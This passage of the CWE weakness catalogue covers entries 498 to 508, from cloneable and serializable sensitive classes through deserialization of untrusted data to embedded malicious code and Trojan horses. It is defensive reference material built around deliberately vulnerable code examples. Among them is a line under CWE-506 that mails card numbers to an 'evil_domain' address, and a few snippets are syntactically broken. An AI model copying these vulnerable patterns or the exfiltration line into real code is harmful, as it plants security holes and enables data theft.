Depending on the system configuration, this information can be dumped to a console, written to a log file, or exposed to a remote user. In some cases the error message tells the attacker precisely what sort of an attack the system is vulnerable to. For example, a database error message can reveal that the application is vulnerable to a SQL injection attack. Other error messages can reveal more oblique clues about the system. In the example above, the search path could imply information about the type of operating system, the applications installed on the system, and the amount of care that the administrators have put into configuring the program.

Potential Mitigations
Architecture and Design

Implementation
Production applications should never use methods that generate internal details such as stack traces and error messages unless that information is directly committed to a log that is not viewable by the end user. All error message text should be HTML entity encoded before being written to the log file to protect against potential cross-site scripting attacks against the viewer of the logs.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td>384</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td>384</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>851</td>
<td>CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td>384</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>880</td>
<td>CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td>384</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td>384</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>System Information Leak</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ERR01-J</td>
<td>Do not allow exceptions to expose sensitive information</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>ERR12-CPP</td>
<td>Do not allow exceptions to transmit sensitive information</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

CWE-498: Cloneable Class Containing Sensitive Information

Weakness ID: 498 *(Weakness Variant)*  Status: Draft

Description

Summary
The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

Extended Description
Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- C++
- Java
- .NET

Common Consequences

Access Control
Bypass protection mechanism
A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.

Likelihood of Exploit
Medium

Demonstrative Examples
Java Example:

```java
public class CloneClient {
    public CloneClient() { //throws java.lang.CloneNotSupportedException {
        Teacher t1 = new Teacher("guddu", "22,nagar road");
        //...
        // Do some stuff to remove the teacher.
        Teacher t2 = (Teacher)t1.clone();
        System.out.println(t2.name);
    }
    public static void main(String args[]) {
        new CloneClient();
    }
}

class Teacher implements Cloneable {
    public Object clone() {
        try {
            return super.clone();
        } catch (java.lang.CloneNotSupportedException e) {
            throw new RuntimeException(e.toString());
        }
    }
    public String name;
    public String clas;
    public Teacher(String name, String clas) {
        this.name = name;
        this.clas = clas;
    }
}
```

Potential Mitigations

Implementation

Make classes uncloneable by defining a clone function like:

Java Example:

```java
public final void clone() throws java.lang.CloneNotSupportedException {
    throw new java.lang.CloneNotSupportedException();
}
```

Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[VI]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td></td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1297</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>[VI]</td>
<td>884</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1323</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Information leak through class cloning</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>OBJ07-J</td>
<td>Sensitive classes must not let themselves be copied</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

CWE-499: Serializable Class Containing Sensitive Data

Weakness ID: 499 (Weakness Variant) Status: Draft

Description
Summary
The code contains a class with sensitive data, but the class does not explicitly deny serialization. The data can be accessed by serializing the class through another class.

Extended Description
Serializable classes are effectively open classes since data cannot be hidden in them. Classes that do not explicitly deny serialization can be serialized by any other class, which can then in turn use the data stored inside it.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• Java

Common Consequences
Confidentiality
Read application data
an attacker can write out the class to a byte stream, then extract the important data from it.

Likelihood of Exploit
High

Demonstrative Examples
This code creates a new record for a medical patient:
Java Example:

```java
class PatientRecord {
    private String name;
    private String socialSecurityNum;
    public Patient(String name,String ssn) {
        this.setName(name);
        this.setSocialSecurityNumber(ssn);
    }
}
```

This object does not explicitly deny serialization, allowing an attacker to serialize an instance of this object and gain a patient’s name and Social Security number even though those fields are private.

Potential Mitigations
Implementation
In Java, explicitly define final writeObject() to prevent serialization. This is the recommended solution. Define the writeObject() function to throw an exception explicitly denying serialization.

Implementation
Make sure to prevent serialization of your objects.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CanPrecede</td>
<td></td>
<td>200</td>
<td>Information Exposure</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>100</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>858</td>
<td>CERT Java Secure Coding Section 13 - Serialization (SER)</td>
<td></td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1301</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1381</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>V</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Information leak through serialization</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER03-J</td>
<td>Do not serialize unencrypted, sensitive data</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER05-J</td>
<td>Do not serialize instances of inner classes</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>
CWE-500: Public Static Field Not Marked Final

**Weakness ID:** 500 *(Weakness Variant)*

**Description**

**Summary**
An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.

**Extended Description**
Public static variables can be read without an accessor and changed without a mutator by any classes in the application.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- C++
- Java

**Common Consequences**

**Integrity**
Modify application data
The object could potentially be tampered with.

**Confidentiality**
Read application data
The object could potentially allow the object to be read.

**Likelihood of Exploit**
High

**Demonstrative Examples**
The following examples use of a public static String variable to contain the name of a property/configuration file for the application.

### C++ Example: **Bad Code**
```cpp
class SomeAppClass {
public:
    static string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

### Java Example: **Bad Code**
```java
public class SomeAppClass {
    public static String appPropertiesFile = "app/Application.properties";
    ...
}
```

Having a public static variable that is not marked final (constant) may allow the variable to be altered in a way not intended by the application. In this example the String variable can be modified to indicate a different on nonexistent properties file which could cause the application to crash or caused unexpected behavior.

### C++ Example: **Good Code**
```cpp
class SomeAppClass {
public:
    static const string appPropertiesConfigFile = "app/properties.config";
    ...
}
```

### Java Example: **Good Code**
```java
public class SomeAppClass {
    public static final String appPropertiesFile = "app/Application.properties";
    ...
}
```
Potential Mitigations

Architecture and Design
Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

Implementation
Make any static fields private and constant.
A constant field is denoted by the keyword 'const' in C/C++ and 'final' in Java

Background Details
When a field is declared public but not final, the field can be read and written to by arbitrary Java code.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>493</td>
<td>Critical Public Variable Without Final Modifier</td>
<td>🟢</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td>💚</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>1002</td>
<td>SFP Secondary Cluster: Unexpected Entry Points</td>
<td>💚</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Overflow of static internal buffer</td>
</tr>
<tr>
<td>CERT Java Secure Coding OBJ10-J</td>
<td></td>
<td>Do not use public static nonfinal variables</td>
</tr>
<tr>
<td>Software Fault Patterns SFP28</td>
<td></td>
<td>Unexpected access points</td>
</tr>
</tbody>
</table>

White Box Definitions
A weakness where code path has a statement that defines a public field that is static and non-final

CWE-501: Trust Boundary Violation

Weakness ID: 501 (Weakness Base) Status: Draft

Description

Summary
The product mixes trusted and untrusted data in the same data structure or structured message.

Extended Description
A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.

Time of Introduction
• Architecture and Design

Applicable Platforms
Languages
• All

Common Consequences
Access Control
Bypass protection mechanism

Demonstrative Examples
The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.

Java Example:
```java
usrname = request.getParameter("usrname");
if (session.getAttribute(ATTR_USR) == null) {
    session.setAttribute(ATTR_USR, usrname);
```


C# Example:

```c#
usrname = request.Item("usrname");
if (session.Item(ATTR_USR) == null) {
    session.Add(ATTR_USR, usrname);
}
```

Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>820</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>1381</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
<th>Node ID</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>7 Pernicious Kingdoms</td>
<td>Trust Boundary Violation</td>
<td>699</td>
<td>700</td>
<td>1000</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>Exposed Data</td>
<td>888</td>
<td>1381</td>
<td></td>
</tr>
</tbody>
</table>

CWE-502: Deserialization of Untrusted Data

**Weakness ID:** 502 *(Weakness Variant)*

**Status:** Draft

**Description**

**Summary**

The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

**Extended Description**

It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.

Data that is untrusted can not be trusted to be well-formed.

When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.

**Alternate Terms**

**Marshaling, Unmarshaling**

Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.

**Pickling, Unpickling**

In Python, the "pickle" functionality is used to perform serialization and deserialization.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Java
- Ruby
- PHP
- Python
- Node.js
CWE-502: Deserialization of Untrusted Data

- Language-independent

**Common Consequences**

**Varies by context**
The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used.

**Integrity**

**Modify application data**

**Unexpected state**
Attackers can modify unexpected objects or data that was assumed to be safe from modification.

**Availability**

**DoS: resource consumption (CPU)**
If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.

**Authorization**

**Other**

**Other**
Code could potentially make the assumption that information in the deserialized object is valid. Functions that make this dangerous assumption could be exploited.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

**Example 1:**
This code snippet deserializes an object from a file and uses it as a UI button:

**Java Example:**

```java
try {
    File file = new File("object.obj");
    ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
    javax.swing.JButton button = (javax.swing.JButton) in.readObject();
    in.close();
}
```

This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.

**Example 2:**
In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [R.502.7], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.

**Python Example:**

```python
try {
    class ExampleProtocol(protocol.Protocol):
        def dataReceived(self, data):
            # Code that would be here would parse the incoming data
            # After receiving headers, call confirmAuth() to authenticate
            def confirmAuth(self, headers):
                try:
                    token = cPickle.loads(base64.b64decode(headers['AuthToken']))
                    if not check_hmac(token['signature'], token['data'], getSecretKey()):
                        raise AuthFail
                    self.secure_data = token['data']
                except:
                    raise AuthFail
}
```

Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct an illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance, the attacker could construct a pickle
that leverages Python's subprocess module, which spawns new processes and includes a number
of arguments for various uses. Since Pickle allows objects to define the process for how they
should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess
module and execute /bin/sh.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0791</td>
<td>Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.</td>
</tr>
<tr>
<td>CVE-2011-2520</td>
<td>Python script allows local users to execute code via pickled data.</td>
</tr>
<tr>
<td>CVE-2012-0911</td>
<td>Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.</td>
</tr>
<tr>
<td>CVE-2012-0911</td>
<td>Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.</td>
</tr>
<tr>
<td>CVE-2012-3527</td>
<td>Use of PHP unserialize function on untrusted input in content management system might allow code execution.</td>
</tr>
<tr>
<td>CVE-2012-4406</td>
<td>Unsafe deserialization using pickle in a Python script.</td>
</tr>
<tr>
<td>CVE-2013-1465</td>
<td>Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.</td>
</tr>
<tr>
<td>CVE-2015-4852</td>
<td>Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.</td>
</tr>
<tr>
<td>CVE-2015-8103</td>
<td>Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Implementation**

If available, use the signing/sealing features of the programming language to assure that
deserialized data has not been tainted. For example, a hash-based message authentication code
(HMAC) could be used to ensure that data has not been modified.

**Implementation**

When deserializing data, populate a new object rather than just deserializing. The result is that
the data flows through safe input validation and that the functions are safe.

**Implementation**

Explicitly define final readObject() to prevent deserialization. An example of this is:

**Java Example:**

```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
    throw new java.io.IOException("Cannot be deserialized");
}
```

**Architecture and Design**

**Implementation**

Make fields transient to protect them from deserialization.

An attempt to serialize and then deserialize a class containing transient fields will result in NULLs
where the transient data should be. This is an excellent way to prevent time, environment-based,
or sensitive variables from being carried over and used improperly.

**Implementation**

Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends.
This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the
attacker. Whitelist acceptable classes. Note: new gadgets are constantly being discovered, so this
alone is not a sufficient mitigation.

**Background Details**

Serialization and deserialization refer to the process of taking program-internal object-related data,
packaging it in a way that allows the data to be externally stored or transferred ("serialization"),
then extracting the serialized data to reconstruct the original object ("deserialization").

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>858</td>
<td>CERT Java Secure Coding Section 13 - Serialization (SER)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
<td>699</td>
</tr>
</tbody>
</table>

851
CWE Version 2.11
CWE-503: Byte/Object Code

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>915</td>
<td>Improperly Controlled Modification of Dynamically-Determined Object Attributes</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>994</td>
<td>SFP Secondary Cluster: Tainted Input to Variable</td>
<td>888</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER01-J</td>
<td>Do not deviate from the proper signatures of serialization methods</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER03-J</td>
<td>Do not serialize unencrypted, sensitive data</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER06-J</td>
<td>Make defensive copies of private mutable components during deserialization</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SER08-J</td>
<td>Do not use the default serialized form for implementation defined invariants</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP25</td>
<td>Tainted input to variable</td>
</tr>
</tbody>
</table>

References


Maintenance Notes

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.
CWE-504: Motivation/Intent

**Category ID:** 504 (Category)  **Status:** Draft

**Description**

**Summary**

This category intends to capture the motivations and intentions of developers that lead to weaknesses that are found within CWE.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Landwehr</td>
<td>Genesis</td>
</tr>
</tbody>
</table>

**Maintenance Notes**

This entry is being considered for deprecation. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree. It cannot be deprecated until after the CWE team has reviewed whether other CWE elements are appropriately capturing the "location" in which the weaknesses are introduced.

CWE-505: Intentionally Introduced Weakness

**Category ID:** 505 (Category)  **Status:** Draft

**Description**

**Summary**

Weaknesses in this category were intentionally introduced by the developer, typically as a result of prioritizing other aspects of the program over security, such as maintenance.

**Extended Description**

Characterizing intention is tricky: some features intentionally placed in programs can at the same time inadvertently introduce security flaws. For example, a feature that facilitates remote debugging or system maintenance may at the same time provide a trapdoor to a system. Where such cases can be distinguished, they are categorized as intentional but nonmalicious. Not wishing to endow programs with intentions, we nevertheless use the terms "malicious flaw," "malicious code," and so on, as shorthand for flaws, code, etc., that have been introduced into a system by an individual with malicious intent. Although some malicious flaws could be disguised as inadvertent flaws, this distinction can be easy to make in practice. Inadvertently created Trojan horse programs are hardly likely, although an intentionally-introduced buffer overflow might plausibly seem to be an error.

**Demonstrative Examples**

The following snippet from a Java servlet demonstrates the use of a "debug" parameter that invokes debug-related functionality. If deployed into production, an attacker may use the debug parameter to get the application to divulge sensitive information.

**Java Example:**

```java
String mode = request.getParameter("mode");
// perform requested servlet task
...
if (mode.equals(DEBUG)) {
    // print sensitive information in client browser (PII, server statistics, etc.)
    ...
}
```

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td></td>
<td>506</td>
<td>Embedded Malicious Code</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>513</td>
<td>Intentionally Introduced Nonmalicious Weakness</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>699</td>
<td>Development Concepts</td>
<td>1083</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>912</td>
<td>Hidden Functionality</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>913</td>
<td>Improper Control of Dynamically-Managed Code Resources</td>
<td>699</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**
## CWE-506: Embedded Malicious Code

**Weakness ID:** 506 *(Weakness Class)*  
**Status:** Incomplete

### Description

**Summary**
The application contains code that appears to be malicious in nature.

**Extended Description**
Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of an application or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.

### Terminology Notes
The term "Trojan horse" was introduced by Dan Edwards and recorded by James Anderson [18] to characterize a particular computer security threat; it has been redefined many times [4,18-20].

### Time of Introduction
- Implementation

### Common Consequences
- Confidentiality
- Integrity
- Availability

### Execute unauthorized code or commands

### Detection Methods

#### Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
  - Generated Code Inspection

#### Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Automated Monitored Execution

#### Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Manual Source Code Review (not inspections)

#### Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Origin Analysis

### Demonstrative Examples
In the example below, a malicious developer has injected code to send credit card numbers to his email address.

**Java Example:**

```java
boolean authorizeCard(String ccn) {
    // Authorize credit card.
    ... mailCardNumber(ccn, "evil_developer@evil_domain.com");
}
```

**Potential Mitigations**

**Testing**

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>505</td>
<td>Intentionally Introduced Weakness</td>
<td>699 853</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
<td>888 1333</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>912</td>
<td>Hidden Functionality</td>
<td>1000 1340</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>507</td>
<td>Trojan Horse</td>
<td>699 1000 855</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>510</td>
<td>Trapdoor</td>
<td>699 1000 857</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>511</td>
<td>Logic/Time Bomb</td>
<td>699 1000 859</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>512</td>
<td>Spyware</td>
<td>699 1000 859</td>
</tr>
</tbody>
</table>

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Landwehr</td>
<td>Malicious</td>
</tr>
</tbody>
</table>

**CWE-507: Trojan Horse**

**Weakness ID:** 507 *(Weakness Base)*  
**Status:** Incomplete

**Description**

**Summary**

The software appears to contain benign or useful functionality, but it also contains code that is hidden from normal operation that violates the intended security policy of the user or the system administrator.

**Terminology Notes**

Definitions of "Trojan horse" and related terms have varied widely over the years, but common usage in 2008 generally refers to software that performs a legitimate function, but also contains malicious code.

Almost any malicious code can be called a Trojan horse, since the author of malicious code needs to disguise it somehow so that it will be invoked by a nonmalicious user (unless the author means also to invoke the code, in which case he or she presumably already possesses the authorization to perform the intended sabotage). A Trojan horse that replicates itself by copying its code into other program files (see case MA1) is commonly referred to as a virus. One that replicates itself by creating new processes or files to contain its code, instead of modifying existing storage entities, is often called a worm. Denning provides a general discussion of these terms; differences of opinion about the term applicable to a particular flaw or its exploitations sometimes occur.

**Time of Introduction**

- Implementation
- Operation

**Common Consequences**
CWE-508: Non-Replicating Malicious Code

Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Potential Mitigations

Operation
Most antivirus software scans for Trojan Horses.

Installation
Verify the integrity of the software that is being installed.

Other Notes
Potentially malicious dynamic code compiled at runtime can conceal any number of attacks that will not appear in the baseline. The use of dynamically compiled code could also allow the injection of attacks on post-deployed applications.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>506</td>
<td>Embedded Malicious Code</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>c</td>
<td>508</td>
<td>Non-Replicating Malicious Code</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>c</td>
<td>509</td>
<td>Replicating Malicious Code (Virus or Worm)</td>
<td>699</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Landwehr</td>
<td>Trojan Horse</td>
</tr>
</tbody>
</table>

References


CWE-508: Non-Replicating Malicious Code

Weakness ID: 508 (Weakness Base) Status: Incomplete

Description

Summary
Non-replicating malicious code only resides on the target system or software that is attacked; it does not attempt to spread to other systems.

Time of Introduction
• Implementation
• Operation

Common Consequences
Confidentiality
Integrity
Availability
Execute unauthorized code or commands

Potential Mitigations

Operation
Antivirus software can help mitigate known malicious code.

Installation
Verify the integrity of the software that is being installed.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>c</td>
<td>507</td>
